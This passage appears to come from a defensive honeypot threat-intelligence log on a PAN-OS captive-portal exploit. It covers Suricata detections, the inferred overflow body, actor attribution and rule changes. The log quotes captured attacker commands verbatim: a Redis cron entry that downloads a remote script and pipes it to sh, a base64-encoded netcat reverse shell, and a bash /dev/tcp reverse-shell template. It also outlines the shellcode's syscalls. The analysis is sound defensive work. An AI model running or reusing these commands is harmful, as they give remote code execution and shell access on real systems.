HONEYLENS SIDs tripped simultaneously. The flow accounting from Suricata
(pkts_toserver=5, pkts_toclient=4, bytes_toserver=2820, bytes_toclient=272,
src_port=52162) confirms a real HTTP request/response — not a port scan or a
half-open probe.
Body-shape forensic inference
We do not have the raw 2 271 bytes on disk. Suricata's file-store began capturing
(storing:true, stored:false, size:2271) but never finalised the file — the
flow closed before the writer committed. The Palo Alto honeypot itself never logged the
request because port 6082 expects TLS, and the attacker sent plaintext HTTP, so the
TLS handshake failed before the HTTP handler engaged. Suricata, working off the wire bytes,
was the only component that saw and parsed the request. What we therefore have is
which rules fired, and each rule's content pattern tells us a precise byte-level
fact about the body. Working backwards from rule contents to body shape:
| SID | Rule fingerprint (exact bytes) | What the body therefore contains |
|---|---|---|
9026301 |
256 contiguous 0x41 bytes in the HTTP request body, after POST /php/login.php |
A-run of at least 256 bytes inside the body buffer parsed by libhtp. |
9026302fired twice |
Literal POST /php/ within first 10 bytes of TCP stream + HTTP/1.1 within next 50 bytes |
Request was plaintext HTTP on TCP/6082 (the HTTPS port). Fired once at the TCP layer (early, before parser commits) and again at the HTTP layer after parsing succeeded. |
9026303 |
PCRE on the header buffer: Content-Length: (?:[2-9]\d{3}|[1-9]\d{4,}) |
Content-Length header advertises ≥ 2 000 bytes. Confirmed exact value 2 271 via the file-store size field. |
9026304 |
Literal bytes /bin/sh|00| (the execve target string, with trailing NUL) anywhere in the HTTP body |
Body contains a working x86-64 reverse-shell shellcode. The "/bin/sh\x00" sequence is the execve argument used by every msfvenom linux/x64/shell_reverse_tcp stager and most hand-rolled equivalents. This is the single most informative firing in the set. |
9026305 |
Same 256-byte A-run, matched at the TCP layer instead of the HTTP layer | The A-run sits in the wire bytes Suricata sees before app-layer reassembly — i.e. it survived even if the HTTP parser had dropped the flow. This is the defence-in-depth fallback we added on 2026-05-10 after the 94.198.216.188 TLS-misclassification incident, and it earned its keep here. |
9026310 |
All POSTs to /(php|global-protect|ssl-vpn|unauth)/ routed through libhtp's filestore directive |
The body buffer was sufficient and well-formed enough for the file-store keyword to engage (i.e. libhtp accepted the request — the malformedness that prevents 9026303 from firing in some cases did not apply here). |
Combining those constraints, the body looks like a textbook x86-64 BoF/RCE PoC:
offset 0 ──── A-run padding (≥256 bytes of 0x41) ─────────────────────────────── [SID 9026301, 9026305]
─── overflow into return-address region ───
offset ~256 ──── stack-pivot / RIP overwrite (gadget address, byte alphabet) ─────
offset ~280 ──── x86-64 reverse-shell shellcode:
socket(AF_INET, SOCK_STREAM)
connect( htonl(C2_IP), htons(C2_PORT) )
dup2(sockfd, 0/1/2)
execve("/bin/sh\x00", NULL, NULL) ← [SID 9026304]
offset ~360 ──── trailing junk to fill out CL=2271 ───────────
offset 2270 ──── final byte ───────────────────────────────────
We cannot recover the C2 address or port from the rule firings alone — that's in the
bytes we don't have. But the same actor's previous reverse-shell payload (see
attribution chain below) used nc 45.92.1.50 4444 in a Redis cron-injection
on this same sensor 14 days earlier. The hypothesis that the x64 shellcode's
connect() target is some port on 45.92.1.50 is plausible but
unverified; only the captured pcap or filestore body could confirm it.
Comparison to the prior PoC variants we caught
Across 38 days we have caught four distinct CVE-2026-0300 PoC body shapes. The 124.198.131.185 body is the fourth, and it is the first one that contains actual usable shellcode rather than crash-PoC scaffolding. The progression is worth laying out:
| Date | Source | CL | Body composition | Classification |
|---|---|---|---|---|
| 2026-05-06 T+0 disclosure |
42[.]105[.]160[.]225AS38266 Vodafone IN |
2248 |
qassam-315 PoC. NOP sled (0x90 0x90 …) followed by INT3 trail (0xCC 0xCC …) — no shellcode. The INT3 stream is a software-breakpoint trap, the canonical "stop the debugger here" shape. SID 9026300 catches this exact byte sequence. |
Crash PoC. Demonstrates the bug, but the body would not execute anything on a real target — only signals the debugger. |
| 2026-05-07 | 198[.]176[.]52[.]204AS400618 PRIME-SEC US |
2248 |
Re-use of the same qassam-315 body, identical CL, against TCP/4443 instead of TCP/6082. Same SID 9026300 fired. | Same crash PoC, different port. |
| 2026-05-08 | 165[.]22[.]26[.]204AS14061 DigitalOcean |
2120 |
"Third variant." A-run + something else, but no NOP+INT3 trail and no "/bin/sh". Suricata captured the metadata (SIDs 9026301 + 9026303 on sensor1) but the body itself was lost on sensor3 because libhtp misclassified the stream as TLS. This was the incident that motivated SID 9026310 (filestore) and SID 9026305 (TCP-layer fallback). |
Unknown payload shape — structurally exploit-shaped but body lost to parser misclassification. |
| 2026-05-10 | 94[.]198[.]216[.]188AS210644 AEZA INT RU |
2120+ A-preamble |
Bash reverse-shell shotgun. 2 120 'A's at the start of the TCP stream, then a second request: POST /php/login.php with body cmd=bash -i >& /dev/tcp/<C2>/<port> 0>&1. Wrong attack class entirely — this is a shell-command-injection payload, not a BoF body. Would not work against a real PAN-OS instance (no cmd= parameter handler exists). SID 9026306 caught it. |
Wrong-class payload. Attacker copy-pasted a generic web-RCE template instead of the CVE-2026-0300 shape. |
| 2026-05-16 T+3 post-patch |
124[.]198[.]131[.]185AS210558 1337 Services (bulletproof VPN) |
2271 |
A-run + x86-64 reverse-shell shellcode. ≥256-byte A padding, then RIP overwrite into a shellcode region containing the literal "/bin/sh\x00" execve target. SIDs 9026301 + 9026302 (×2) + 9026303 + 9026304 + 9026305 + 9026310. The combination of x64 shellcode + correct CVE structural shape is unique in our entire 38-day window. |
Working RCE attempt — or as close to one as a structural analysis can prove. The "/bin/sh\x00" marker is not present in any crash-PoC or web-RCE template; it implies an attacker who built or selected a payload specifically for the x86-64 PAN-OS target. |
The trend is clear: opportunistic operators ran the public crash PoCs in the first 48 hours after disclosure; the wrong-class payloads followed; and the first weaponised x64 shellcode in a structurally correct CVE-2026-0300 request showed up only on day three after vendor patch. That timing — not before patch day, not within 24 hours of patch day, but three days after — is consistent with an operator who waited until the patch was public, pulled the patch diff, and built a targeted payload for unpatched stragglers. We do not have the patch-diff confirmation to prove that, but the calendar fits.
Attribution — the same IP, twice, two attack classes
124[.]198[.]131[.]185 is not a new IP in our sensor history. The
sensor_events table on sensor3 has 38 days of activity from this address,
ranging across opportunistic TCP-port enumeration (3000/3001, 1881, 8021, 9999, 61616 —
Mirai-class IoT/admin-service fingerprints), and most importantly a fully
instrumented Redis cron-injection chain on 2026-05-02 that uses the same
rondo stem we see in the May-16 UA. Walking the chain:
2026-05-02 20:39:13 sensor3 :6379 (Redis honeypot) ← 124.198.131.185
SLAVEOF NO ONE
(session end — probe)
2026-05-02 21:09:54 sensor3 :6379 (Redis honeypot) ← 124.198.131.185
SLAVEOF NO ONE
CONFIG SET stop-writes-on-bgsave-error no
FLUSHALL
SET backup "\n\n*/2 * * * * mv /usr/bin/wd1 /usr/bin/wget;
mv /usr/bin/cd1 /usr/bin/curl;
(wget -qO- http://45.92.1.50/rondo.qnz.sh
|| curl -s http://45.92.1.50/rondo.qnz.sh
|| busybox wget -qO- http://45.92.1.50/rondo.qnz.sh)|sh"
CONFIG SET dir /var/spool/cron/
(Redis-as-cron-write classic; cron entry runs every 2 minutes)
2026-05-02 22:12:19 sensor3 :6379 (Redis honeypot) ← 124.198.131.185
Fallback chain — simpler payload:
SET backup "\n\n\n*/2 * * * * echo bmMgNDUuOTIuMS41MCA0NDQ0|base64 -d|sh\n\n"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
base64-decoded: nc 45.92.1.50 4444 ← netcat reverse-shell to the same C2
────────── 14 days, opportunistic port-scan noise across sensor3 ──────────
2026-05-16 02:59:38 sensor3 :6082 (Palo Alto captive portal) ← 124.198.131.185
POST /php/login.php HTTP/1.1
User-Agent: Mozilla/5.0 ([email protected])
Content-Length: 2271
<A-run + x86-64 shellcode with "/bin/sh\x00">
→ 6 HONEYLENS SIDs fire simultaneously
2026-05-16 03:03:27 sensor3 :6082 ← 124.198.131.185 (retry / connection-close probe)
2026-05-16 08:47:36 sensor3 :3001 ← 124.198.131.185 (Grafana port enum — post-exploit recon)
2026-05-16 09:57:50 sensor3 :3001 ← 124.198.131.185 (same)
We have a single IP demonstrating a Mirai-class IoT compromise toolkit in
early May (Redis-as-cron-write, twin droppers, hardcoded wd1/cd1
binary-rename to evade defender greps for wget/curl) and a
targeted PAN-OS BoF exploit attempt two weeks later, advertising a
contact email whose token (rondo2012) shares a stem with the
Mirai dropper's filename (rondo.qnz.sh) and uses the same C2 namespace
(45.92.1.50). The two events are linked by IP. The "rondo" stem is the
signature.
This is not a state actor. The op-sec is consistent with an opportunistic operator who runs an IoT botnet for crypto-mining or DDoS-for-hire, and who has now added CVE-2026-0300 to the toolkit because patched-late PAN-OS instances are a richer target than IoT junk. The post-exploit recon on port 3001 (Grafana) is consistent with that hypothesis — Grafana endpoints expose internal monitoring data that is useful for choosing pivot targets inside a network the operator has just rooted.
What this attribution does not mean. We do not have evidence
the 2026-05-16 shellcode connects to 45.92.1.50; that is a hypothesis from
the same actor's prior C2 choice, not a confirmed fact. We do not have evidence that
[email protected] is a live mailbox or the operator's contact —
AtomicMail is a privacy provider that allows ephemeral addresses. We are not naming a
crew, a group, or a country. What we are saying is that one source IP across two attack
classes shares an internal name token, and the totality of behaviour is consistent with
one persistent opportunistic operator.
What we still don’t have
- The body bytes. Suricata's file-store
started capturing (
storing:true) but never finalised (stored:false). The honeypot didn't see the request because port 6082 expects TLS. The pcap output is disabled on this sensor for storage-cost reasons. Action item: enable rotating short-window pcap on sensor3 for captive-portal ports. - The shellcode C2 endpoint. Hypothesised 45.92.1.50:port; not confirmed without the bytes.
- Whether the payload would have succeeded against a real PAN-OS instance. Our honeypot accepts the request structurally but doesn't execute the body. A successful CVE-2026-0300 exploit requires hitting the specific vulnerable parameter inside the body, which we still cannot identify without the patch diff.
- Whether
[email protected]is relevant. Possible deliberate red herring, possible attacker contact, possible bot-author's signature. We have logged it; we are not following it.
Operational consequences
- Daily watch resumes. The 2026-05-13 recommendation to step down to weekly review (rec #28) was wrong; we’ve reversed it. Daily review continues at least until seven consecutive zero-firing days pass.
- SID 9026308 proposed: email-address-shape
self-doxxing UA. Pattern
User-Agent: Mozilla/5\.0 \([\w.+-]+@[\w.-]+\.[a-z]{2,}\). The current self-doxxing rule (9026307) only catchesCVE--shaped UAs; the([email protected])form would have escaped it. The email-UA shape is, if anything, a stronger self-doxxing signal — almost no legitimate HTTP client uses one. - Static analysis of the body is queued
even though the file-store did not finalise — we still have the sha256
fa483bc3fb3f6c19dadaac2c1c0113905101e62921b6bcdbab7fbc6dfcb8e5e1and may be able to match against public sample feeds (VT, MalwareBazaar, ANY.RUN) on hash alone. - sensor3 pcap capture enabled for captive-portal ports going forward. Storage cost vs forensic value: we’ll accept ~50 MB/day on this surface to never lose the body again.
- 124.198.131.185 added to the hunting list HIGH/ACTIVE
with tags
cve-2026-0300-exploit-attempt,x64-shellcode,rondo-actor,linked-2026-05-02-redis-cron-injection. Any future activity from this IP escalates to immediate review.
sensor1 and sensor2 stayed clean.
Zero HONEYLENS firings on either sensor across the 62-hour window. sensor2’s
database was offline for ~16 hours during the window due to an unrelated
disk-full incident; we covered the gap by grepping Suricata’s on-disk
fast.log directly, which confirmed zero firings during the outage.
Only sensor3 (the public-IP-direct sensor) caught the attempt — consistent
with the operator targeting only directly-routable IPs.
§ 2026-05-17 → 19 · T+6 post-patch — the actor came back, kept the UA, changed the vector
PAN-OS captive portal: quiet. Zero HONEYLENS SID firings (9026300–9026310) on any of the three sensors across the 70-hour window from 2026-05-16 12:00 to 2026-05-19 10:00 CEST. The structural rules built for CVE-2026-0300 caught the canonical exploit body at T+3 (124.198.131.185, sensor3, 2026-05-16 02:59) and have stayed silent since. The post-patch exploitation tail on the specific PAN-OS captive-portal surface appears to have ended.
The rondo actor returned to sensor2 with a new
attack class. On 2026-05-17 11:37:10 EDT, the same source IP that
gave us the PAN-OS shellcode body 24 hours earlier —
124[.]198[.]131[.]185, AS210558 (1337 Services GmbH) —
sent a POST /vpnupload.cgi HTTP/1.1 to sensor2’s public IP
on TCP/80, still carrying the same User-Agent
Mozilla/5.0 ([email protected]). The body was the
Cisco-ASA / Fortinet-FortiOS SSL-VPN family fingerprint:
POST /vpnupload.cgi HTTP/1.1 Host: 81.30.134.188 User-Agent: Mozilla/5.0 ([email protected]) Content-Type: multipart/form-data; boundary=ea0f53728d0204038160949e5ba9a37c Content-Length: 105 --ea0f53728d0204038160949e5ba9a37c Content-Disposition: form-data; name="ateCommand_flag" 1 --ea0f53728d0204038160949e5ba9a37c--
The ateCommand_flag form field is the surface that several
SSL-VPN appliances expose as their AT-command (factory test) entry point
from the network — historically used in Cisco ASA / FTD older
firmware, Fortinet FortiOS / FortiProxy SSL-VPN modules, and a handful
of generic OEM appliances. The 105-byte body with flag-only content is
reconnaissance: a successful response would confirm the AT-command
surface is open and reachable, with the actual exploit payload to follow
in a later request. We did not see the follow-up — the honeypot
replied 404 and the actor did not retry within the window.
The cross-event chain so far — one IP, four attempts, three attack classes:
| Date | Sensor | Vector | Payload shape |
|---|---|---|---|
| 2026-05-02 21:09 | sensor3 | Redis cron-injection | SLAVEOF NO ONE; FLUSHALL; SET backup = "*/2 * * * * mv wd1 wget; wget http://45.92.1.50/rondo.qnz.sh"; CONFIG SET dir /var/spool/cron/ |
| 2026-05-02 22:12 | sensor3 | Redis fallback | */2 * * * * echo bmMgNDUuOTIuMS41MCA0NDQ0 \| base64 -d \| sh (= nc 45.92.1.50 4444) |
| 2026-05-16 02:59 | sensor3 | CVE-2026-0300 PAN-OS BoF | 2 271-byte POST /php/login.php on TCP/6082 with A-run + x86-64 reverse-shell shellcode + /bin/sh\x00. 6 HONEYLENS SIDs fired. |
| 2026-05-17 11:37 | sensor2 | SSL-VPN vpnupload.cgi |
451-byte POST /vpnupload.cgi on TCP/80 with ateCommand_flag=1 multipart. No SIDs fired — vector outside CVE-2026-0300 rule scope. |
The structural lesson. Our 11-SID rule set was built
for CVE-2026-0300 specifically — scoped to the captive-portal HTTPS
ports (4443 / 6080 / 6081 / 6082), to the /php/(login|uid|captiveportal)\.php
URI pattern, to oversize POST bodies, to specific shellcode byte sequences.
It works exactly as designed for the CVE it was built for, and it caught
the canonical body. But it has no concept of "this attacker" —
only "this exploit class." The rondo actor walked around the rule set
by changing CVE class while keeping the same UA. We've added three new
rules in response: 9026311 for the UA literal (surgical
strike on rondo), 9026312 for the generic email-shape
self-doxxing UA (structural), and 9026313 for the
vpnupload.cgi + ateCommand_flag vector.
China-Mobile 106[.]63[.]26[.]0/24
is back — now hunting Kubernetes. The cluster that went dark
on patch eve 2026-05-12 reappeared on 2026-05-18, but with a different
target set: TCP/6443 (Kubernetes API server, kube-apiserver) and
TCP/10250 (kubelet read API). Two waves, 17 distinct IPs from the same
/24, ~150 hits on 6443 and ~120 hits on 10250 across the window. No
captive-portal probing from this cluster anymore. Same operator profile
(sequential per-/24 sweep, sub-second inter-IP intervals) targeting a
completely different appliance class. We had no Kubernetes-aware SIDs
in the OSS rule set today — that gap is now on the next-CVE list.
Idea 30 Phase 0 dissection is producing forensic data. The per-port eBPF full-payload capture deployed on 2026-05-17 is live on all three sensors. First operational numbers:
| Sensor | full_payload rows | unique sources | max body bytes |
|---|---|---|---|
| sensor1 (DEV) | 83 | 16 | 1 448 |
| sensor3 (public) | 58 | 35 | 1 448 |
| sensor2 | 58 | 31 | 1 448 |
The 1 448 B ceiling equals one Ethernet MSS payload — consistent
with single-segment POST bodies on the monitored ports. No exploit-shape
bodies in the window (all captured payloads are below the 1 KB tier),
but the data path is verified end-to-end: BPF map populated, per-port
depth lookup, byte capture, BYTEA write, SHA-256 hashing. The
architecture is ready for the next exploit attempt and we now have a
runtime hot-add path (admin UI at /admin/dissection) for
any new port that emerges.
Cadence step-down. The PAN-OS-specific surface is quiet and the rondo actor is now a separate cross-vector hunt rather than a CVE-2026-0300 follow-up. We’re stepping back to weekly review on this specific CVE — next entry will be 2026-05-26 unless something changes. The rondo activity will move to its own writeup as a cross-incident threat-actor case study.
§ 2026-05-20 · T+7 closure — hunt thread closed, attention shifts
CVE-2026-0300 detection grid: silent for 96 hours and counting. Zero HONEYLENS SID firings (9026300–9026313) on any of the three sensors across the 37-hour T+7 window. Streak since the last real firing (124.198.131.185, 2026-05-16 02:59) is now ≥ 96 hours. The PAN-OS-specific exploitation tail has ended for our visible attack surface; the rule set worked as designed and the actors that targeted the CVE have moved on.
The rondo actor is silent. No follow-up to the
2026-05-17 11:37 vpnupload.cgi probe on any sensor or
any monitored port for 72 hours. The gap matches their earlier
cadence (14 days quiet before the 2026-05-16 PAN-OS burst); if the
pattern repeats the next attempt should land around 2026-05-31.
The cross-event hunt continues outside this CVE writeup — see the
dedicated rondo timeline document for ongoing tracking.
The Kubernetes scanning wave is now
the dominant pattern across the fleet. What yesterday looked
like a single China-Mobile 106[.]63[.]26[.]0/24 pivot
is now a coordinated multi-operator campaign. Top scanners in the
24-hour window:
| Source IP | Sensor | Port | Hits | Burst duration |
|---|---|---|---|---|
18.97.5.125 | sensor3 | 6443 | 1 341 | 9 min |
44.220.188.165 | sensor1 | 10250 | 1 235 | 4.5 min |
98.80.4.68 | sensor1 | 6443 | 1 223 | 2.9 min |
18.97.5.63 | sensor1 | 10250 | 972 | 3.4 min |
18.97.5.13 | sensor1 | 10250 | 960 | 4.4 min |
44.220.188.149 | sensor1 | 6443 | 834 | 4.7 min |
All AWS-hosted, all distinct /16s, all sub-5-minute high-rate bursts. DEV took >5 000 hits on K8s ports in 24 hours. This is a different appliance class and a different operator pool from CVE-2026-0300 — it gets its own writeup, not another entry in this thread.
Final scorecard for the CVE-2026-0300 detection grid across the 42-day observation window:
| SID | Description | Lifetime firings |
|---|---|---|
9026300 | qassam-315 exact PoC fingerprint | 2 |
9026301 | long A-run BoF probe (HTTP) | 1 |
9026302 | plaintext HTTP on port 6082 | 2 |
9026303 | oversize POST ≥ 2 KB (HTTP) | 1 |
9026304 | x64 reverse-shell shellcode in body | 1 |
9026305 | TCP-layer A-run (any position) | 7 |
9026306 | bash reverse-shell command in stream | 1 |
9026307 | self-doxxing CVE-UA | 2 |
9026310 | forensic filestore (POST body) | 1 |
Eighteen real firings over six weeks. Two on the exact public PoC (T+0 / T+1). One canonical body with six SIDs (T+3). One bash reverse-shell off-class attempt. Two backfilled self-doxxers from the pre-patch window. Seven A-run hits from a Nuclei fuzzer in early May. The rules earned their keep.
Closing the thread. This is the last entry in the
CVE-2026-0300 review series unless (a) a new SID fires, (b) the
vendor publishes a follow-up advisory (some branches still ETA
2026-05-28), or (c) the rondo actor returns to the captive-portal
surface. Phase 0 dissection stays deployed across the fleet, the
nine SIDs stay live, and the three proposed new SIDs (9026311
rondo-UA literal, 9026312 generic email-shape UA, 9026313
vpnupload.cgi vector) are queued for next sprint.
§ 2026-05-22 · T+9 — the case I closed on Wednesday reopened on Thursday night
The hunt is back open. Thirty-four hours
and twenty-one minutes after I committed the T+7 closure note above, a
new attacker fired six HONEYLENS SIDs on sensor3. 2026-05-21
22:19:42 CEST: 172[.]104[.]140[.]109, AS63949
(Akamai Connected Cloud / Linode, Frankfurt DE), sent a 2 120-byte
POST /php/login.php HTTP/1.1 to TCP/6082 with the bare
UA Mozilla/5.0. Same six-SID structural fingerprint as
the 2026-05-16 rondo event — 9026301 + 9026302 ×2
+ 9026303 + 9026305 + 9026310 —
but with one crucial difference: 9026304 (x86-64
reverse-shell shellcode containing /bin/sh\x00) did
not fire. This body is a different PoC kit.
Cross-event match — the 2 120-byte third-variant kit.
On 2026-05-08 we lost a body to a libhtp parser misclass on sensor3;
the alert metadata recorded Content-Length: 2120 bytes
from 165[.]22[.]26[.]204 (AS14061 DigitalOcean).
Yesterday's body was also exactly 2120 bytes, also lost
(filestore storing:true, stored:false), from a different
cloud provider (Linode) on a different continent. Two attempts,
13 days apart, same exact body size: this is the same PoC kit running
from rotating VPS infrastructure. Combined with the
2 271-byte rondo kit and the 2 248-byte qassam-315 kit, we
now see three distinct PoC kits in active rotation
on the captive-portal surface.
Multi-stage attack, OPSEC-aware operator. Unlike the rondo May-16 incident, this attacker ran a two-stage operation with explicit UA scrubbing between stages:
2026-05-21 18:19:32 GET /php/login.php UA: Mozilla/5.0 (CVE-2026-0300-Checker)
2026-05-21 18:19:32 GET /php/uid.php?vsys=1&rule=0&url=http://www.example.com
2026-05-21 18:19:33 GET /captivedportal/ /guest/ /auth/ /portal/ (path-enumeration)
2026-05-21 18:25-29 same path-enumeration replayed with UA: Mozilla/5.0 (CVE-2026-0300-MassChecker)
2026-05-21 18:34:32 TLS ClientHello — Phase 0 captured 517 B (hash 41acbf90...)
<< 4 h 25 m operator pause >>
2026-05-21 22:19:42 POST /php/login.php Content-Length: 2120 UA: Mozilla/5.0 (scrubbed)
body sha256: 1a43f97ec947634feb61704c39001cb110d7dd2c4aff3878abeff8fb8cd2db2a
6 HONEYLENS SIDs fire (no 9026304)
body stored=False (same loss as 2026-05-16 rondo)
The four-hour pause matters. 18:29 to 22:19 is too long to be a single-script run. Either a human operator gated the exploit on a manual review of the recon, or a second-stage scanner polled a queue. Either way, the UA scrub between recon (self-doxxing CVE-2026-0300-Checker) and exploit (bare Mozilla/5.0) confirms the operator knows we have UA-based detection rules.
Three detection gaps surfaced by this incident:
- SID 9026307 missed the TLS-wrapped recon. The
recon UA literally matches the rule's PCRE
(
CVE-\d{4}-\d{4,5}-Checker), but the connection was TLS to the honeypot. Suricata sees ciphertext at the network layer; only the honeypot's HTTP handler logged the decrypted UA. We have the data in the honeypot event store, but no rule reads it. Proposed SID 9026314: ingest-layer rule that catches the same UA shape in the honeypot'sCAPTIVE_REDIRECT/CAPTIVE_AUTH_PAGEJSON. - The 2 120-byte body landed past our BPF capture
ceiling. Phase 0 (Idea 30) was built for exactly
this case but the in-kernel copy currently captures HTTP
headers + the first ~600 bytes of the body. The 1 024-byte
cap is a workaround for a BPF-verifier
memsetlibcall problem from 2026-05-17. Both real exploit bodies we tried to capture (rondo 2 271 B, today 2 120 B) sit past that cut-off. Phase 0.5 needs to lift the cap back to 4 KB using__builtin_memcpywith explicit bounds instead of the memset-zero pattern. - The bare
Mozilla/5.0exploit UA isn't currently a signal. Real browsers never produce a UA with no version, no platform token, no parenthetical — but we don't have a rule for "impossibly minimal UA," only for "self-doxxing UA." Counter-rule would over-fire on broken bots, so it needs a tight match: literallyUser-Agent: Mozilla/5.0\r\nwith nothing after.
Two operational changes today.
- Cadence reverted. The T+7 weekly step-down lasted 34 hours. Daily review on this CVE continues until 14 consecutive zero-firing days.
- 172.104.140.109 added to the hunting list HIGH/ACTIVE
with tags
cve-2026-0300,cl-2120-variant,cve-checker-recon. Separate from the rondo hunt — different actor profile (no atomicmail UA, no historical cross-event activity in our sensor logs, cloud-VPS-only), different PoC kit (no/bin/sh\x00shellcode), different exact body size.
Rondo actor still silent. 124.198.131.185 has not
returned since the 2026-05-17 vpnupload.cgi probe.
The predicted next-attempt window of 2026-05-31 (based on the
14-day cadence from 2026-05-02 → 2026-05-16) is still 9 days
away. The Linode actor that fired tonight is not rondo —
different IP, different ASN, different PoC kit, different UA
family, no shellcode in the body.
§ 2026-05-23 · T+10 — day 1 of the new silence streak (toward 14)
Twenty-four hours after the reopen incident and the four
detection patches that followed, the entire HONEYLENS SID range
9026300–9026314 is clean across both sensors that saw real
exploit traffic (sensor2 and sensor3). Zero firings,
zero false positives. The new SIDs (9026311 rondo-UA, 9026312
generic-Mozilla-email-UA, 9026313 vpnupload+ateCommand, 9026314
CVE-Checker/MassChecker family) loaded cleanly and stayed silent.
The four new classifier rules in classification/text_rules.py
(Scanner-CVE-Checker-Family,
Scanner-PaloAlto-CVE-Checker,
Scanner-Email-Shape-UA, Actor-rondo2012)
also kept the test suite at 65 pass / 1 xfail without producing
any production matches.
Phase 0.5 eBPF body capture is live
on both sensors — sensor-capture startup banner reports
4443:4096, 6080:4096, 6081:4096, 6082:4096, 8080:4096,
8443:4096 for the captive-portal port set. The 4 KB tier
is loaded but unvalidated on real traffic yet: maximum captured
body in the 24 h window was 1 448 bytes (one Ethernet MSS), well
below the 2 120-byte exploit-shape body that the architecture was
designed for. The architecture is ready and waiting for the
next multi-segment POST.
Hunting-list trickle, not surge. 3 of the 11 IPs
added to attacker_profiles HIGH/ACTIVE on Thursday
evening returned at low rate — 66.132.186.180 ×4,
66.132.172.203 ×3, 50.116.33.118 ×2 —
all on their original target ports, no expansion, no exploit-shape
bodies. The Linode actor 172.104.140.109 has not returned at all;
consistent with the kit-runner pattern (one-shot per target IP)
rather than a persistent operator. Rondo (124.198.131.185)
remains silent on day 16; predicted next-attempt window
2026-05-31 ± 2 days is now eight days out.
New noise unrelated to the CVE thread. Three
high-volume captive-portal scanners surfaced in the window
(206.81.23.7 — 2 637 hits on port 8080,
98.80.4.14 — 1 429 hits on 4443,
146.190.69.241 — 573 hits across 4443+8080).
None hit the /php/* exploit path. None fired any
HONEYLENS SID. They match the “UA-rotation
enumeration” archetype documented above — long-tail
GET-only scanners that map the surface without exploiting it.
Not added to the hunting list at this time.
Next milestone: 14 consecutive zero-firing days closes the hunt again (target 2026-06-06). The T+7 reversal taught us not to declare victory at day 7 — this time the gate is 14. Daily cadence preserved.
§ 2026-05-25 · T+12 — day 3 of the silence streak, plus a new Linode-US cluster on the watch list
Three days of zero firings across the entire HONEYLENS SID range 9026300–9026314 on both PAN-OS-relevant sensors (sensor2 and sensor3). The four detection patches from 2026-05-22 are all still clean — no false positives, no detection drift. The 172.104.140.109 T+9 actor remains a single-shot. Rondo (124.198.131.185) is silent on day 18; the 14-day cadence from the 2026-05-02 → 2026-05-16 pattern puts the next predicted window six days out (2026-05-31 ± 2 d).
New finding this cycle. A
high-volume Linode-US scanner cluster surfaced on sensor3 over
the past 24 hours doing the widest captive-portal sweep yet
observed: 172.105.102.42 (2 063 hits across
4443/6080/6082/8080/8443) and 172.105.102.10
(1 796 hits across 4443/6080/6082). Same ASN (AS63949 Akamai
Connected Cloud / Linode) as the T+9 exploit actor
172.104.140.109 — same operator pool, almost
certainly scoping for follow-up exploitation. None of the
9026300-series SIDs fired, so the traffic is GET-only
enumeration, not exploit-shape. Both IPs added to the hunting
list at MEDIUM (no body to justify HIGH yet). The watch is
whether the 172.105.102/24 expands to other cluster
members in the next 48 hours, and whether anyone in the cluster
graduates from enumeration to an actual exploit body.
Three of the eleven Oracle-cloud / Linode hunting IPs from
2026-05-22 returned to sensor3 at low rate this cycle
(66.132.224.233 ×10,
66.132.172.203 ×9,
150.107.38.251 ×2) — all on original
ports, no new exploit-shape attempts, no /24 expansion. Same
recon cadence as the post-add baseline.
The new CVE-2026-42945 NGINX Rift coverage deployed 2026-05-24
(covered in its own writeup) is also at zero exploit-shape
firings on day 1. Honeypot recon traffic visible
(LuCI scanners, generic VPN-portal probes, SonicWall/Citrix/RDWeb
polyglot sweeps from 23.234.88.63 on sensor1) but no
/api/+++ flood and no pool-spray POST body. The
three-layer capture model (BPF + app-layer + Suricata filestore)
is loaded and waiting on both threads.
§ 2026-05-26 · T+13 — day 4 of the silence streak, the Linode-US cluster went quiet, scanner surface keeps rotating
Quietest day of the streak so far. Zero firings across the
entire HONEYLENS SID range on every sensor, and — for the
first time since the hunting list was created on 2026-05-22 —
every single one of the 13 tracked IPs returned zero hits
in 24 hours. That includes the two Linode-US
172.105.102 cluster IPs we added yesterday at MEDIUM.
The Linode-US 172.105.102 cluster — the headline finding
from yesterday — went completely silent. The
2 063 + 1 796 hit pair from .42/.10 on
2026-05-25 didn't continue today. No other /24
members surfaced. One-day campaign. That's now the third
kit-runner / one-shot operator profile we've seen in this hunt:
qassam-315 (2026-05-06/07), CL=2120 first variant (2026-05-08),
and now this Linode-US cluster. The pattern is consistent:
wide enumeration sweep, no exploit body, no return. The
Linode-US entries hold at MEDIUM/ACTIVE for now; reassess at
T+15 if still silent.
The captive-portal scanner surface keeps rotating. New top
sources on sensor3 today: 45.82.78.110 (150 hits
on 4443, AltusHost RU), 23.111.14.187 (98 hits),
71.6.146.186 (83 hits, Shadowserver/Shodan-class
background). Plus two new IPs in the Oracle-cloud
cluster — 66.132.186.164 (47 hits on 4443)
and 66.132.195.52 (30 hits on 6082) — the
cluster has now added ~14 distinct IPs across the
.172/.186/.195/.224 /24s since we
first hunted it on 2026-05-22. Still no exploit-shape from
any cluster member. The single HIGH-confidence
cross-vector pivot remains 66.132.172.203.
Rondo (124.198.131.185) on day 19 of silence.
Predicted next-attempt window 2026-05-31 ± 2 d —
five days out. That's the most likely event to break the
streak. CVE-2026-42945 NGINX Rift coverage parallel hunt: day 2,
also at zero exploit-shape firings; covered in its own writeup.
§ 2026-05-28 · T+15 — silence streak broken on 2026-05-27 03:00 by two coordinated actors with rondo-class bodies
Four days into the new silence streak the thread broke open on
sensor3 at 2026-05-27 03:39:46 CEST with a fresh
2 271-byte exploit-shape POST to /php/login.php —
the exact same body size as the rondo 2026-05-16 PoC. Six minutes
later a second actor on a different IP delivered the same-shape
body to a different captive-portal port. Same PoC kit,
two operators.
| time (CEST) | actor | port | body sha256 (first 12 hex) | SIDs fired |
|---|---|---|---|---|
| 03:39:46 | 165.1.76.102 | 4443 | 53ee49ebf736… | 9026301, 9026303, 9026304, 9026305, 9026310, 9026421 |
| 03:45:29 | 45.117.102.130 | 6082 | 1a7d11186592… | 9026301, 9026302, 9026303, 9026304, 9026305, 9026310, 9026421 |
SID 9026304 fired on both bodies — that's
the /bin/sh\x00 shellcode signature. Same byte-tail
as rondo. SID 9026302 fired on the second actor
— that rule flags plaintext HTTP on what's nominally an
HTTPS port (6082), so 45.117.102.130 sent unwrapped
HTTP straight at 6082 instead of negotiating TLS.
Different sha256s mean the bodies aren't byte-identical —
shellcode parameters differ (likely LHOST/LPORT
per operator). But the shape is identical: 2 271 bytes,
long-A run for BoF padding, /bin/sh\x00 trailer,
